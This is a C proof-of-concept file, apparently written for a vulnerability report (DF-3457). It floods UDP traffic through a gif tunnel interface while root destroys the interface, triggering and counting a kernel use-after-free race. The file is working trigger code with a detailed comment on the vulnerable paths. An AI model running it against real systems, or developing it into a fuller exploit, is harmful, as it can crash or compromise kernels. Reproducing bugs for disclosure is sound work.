DF-3457 / flood.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-3457 PoC - unprivileged traffic side of the gif destroy race, * instrumented. * * Flood UDP packets at 10.99.0.1 (routed via gif0) so that gif_output() * -> in_gif_output() is constantly in flight on this (unprivileged) * thread while root churns `ifconfig gif0 destroy` on another CPU. * * The kernel frees sc->gif_psrc/gif_pdst (if_gif.c:821-828) and the * gif_softc itself (if_gif.c:200) in the destroy syscall WITHOUT * taking gif0's ifnet serializer, which this thread holds via * gif_output()->ifsq_serialize_hw() (== ifp->if_serializer, if.c:642). * * INVARIANTS kernels poison freed chunks with 0xdeadc0de * (kern_slaballoc.c "WEIRD_ADDR", copied over the whole 16-byte * M_IFADDR chunk). An in-flight in_gif_output() that reads * gif_psrc/gif_pdst after gif_delete_tunnel() freed them sees * sin_family == 0xde -> the family check at in_gif.c:107-109 fails -> * m_freem + EAFNOSUPPORT -> ip_output -> udp_output -> sendto(). * * On a correctly-serialized kernel, a sendto() while gif0 is fully * configured (tunnel + addr + up + route present) can NEVER return * EAFNOSUPPORT. Counting those returns PROVES the use-after-free * read from unprivileged context. * * build: cc -O2 -o flood flood.c * run (unprivileged): ./flood [nproc] [dst] */ #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <errno.h> static volatile sig_atomic_t stop = 0; static void onsig(int s __unused) { stop = 1; } int main(int argc, char **argv) { int nproc = (argc > 1) ? atoi(argv[1]) : 4; const char *dst = (argc > 2) ? argv[2] : "10.99.0.1"; struct sockaddr_in sin; char buf[512]; int i; memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(9); /* discard */ inet_pton(AF_INET, dst, &sin.sin_addr); signal(SIGINT, onsig); signal(SIGTERM, onsig); for (i = 1; i < nproc; i++) { pid_t p = fork(); if (p == 0) break; /* child falls through */ if (p < 0) perror("fork"); } unsigned long ok = 0, af = 0, other = 0, unreachable = 0; unsigned long last_af = 0; time_t last = time(NULL); for (;;) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { usleep(1000); continue; } while (!stop) { if (sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) { if (errno == EAFNOSUPPORT) { af++; /* UAF read of freed * gif_psrc/gif_pdst */ usleep(50); } else if (errno == ENETUNREACH || errno == ENETDOWN || errno == EADDRNOTAVAIL) { unreachable++; /* churn gap */ usleep(100); } else { other++; usleep(100); } } else { ok++; usleep(40); /* ~25k pps each; keeps * netisr0 drain alive */ } if (time(NULL) - last >= 30) { last = time(NULL); last_af = af; fprintf(stderr, "pid %d: ok=%lu " "EAFNOSUPPORT=%lu netdown=%lu other=%lu\n", getpid(), ok, af, unreachable, other); } } if (af) fprintf(stderr, "pid %d: ok=%lu EAFNOSUPPORT=%lu " "netdown/unreach=%lu other=%lu\n", getpid(), ok, af, unreachable, other); close(s); break; } return 0; } |